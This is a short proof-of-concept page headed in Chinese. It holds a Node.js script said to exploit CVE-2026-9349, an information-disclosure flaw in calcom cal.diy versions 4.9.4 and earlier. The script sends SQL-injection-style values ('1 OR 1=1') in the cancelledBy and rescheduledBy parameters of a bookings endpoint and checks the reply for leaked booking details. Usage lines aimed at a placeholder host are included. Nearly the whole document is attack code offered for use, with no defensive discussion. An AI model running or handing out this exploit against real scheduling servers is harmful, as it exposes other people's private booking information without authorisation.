CVE-2026-9349 calcom cal.diy信息泄露漏洞

// CVE-2026-9349 PoC - calcom cal.diy Information Disclosure // Target: calcom cal.diy <= 4.9.4 const axios = require('axios'); async function exploit(targetUrl, bookingId) { console.log(`[*] Exploiting CVE-2026-9349 on ${targetUrl}`); // Payload for cancelledBy parameter const cancelledByPayload = { cancelledBy: '1 OR 1=1', rescheduledBy: '1 OR 1=1' }; try { // Construct the vulnerable endpoint URL const endpoint = `${targetUrl}/bookings/${bookingId}`; // Send request with manipulated parameters const response = await axios.get(endpoint, { params: cancelledByPayload, headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'text/html' }, timeout: 10000 }); console.log(`[+] Request sent successfully`); console.log(`[*] Status: ${response.status}`); // Check response for leaked information if (response.data && response.data.includes('cancelledBy') || response.data && response.data.includes('rescheduledBy')) { console.log(`[!] Potential information disclosure detected`); console.log(`[*] Check response data for sensitive booking information`); } return response.data; } catch (error) { console.error(`[-] Error: ${error.message}`); return null; } } // Usage // const target = 'https://vulnerable-calcom-instance.com'; // const bookingId = '12345'; // exploit(target, bookingId);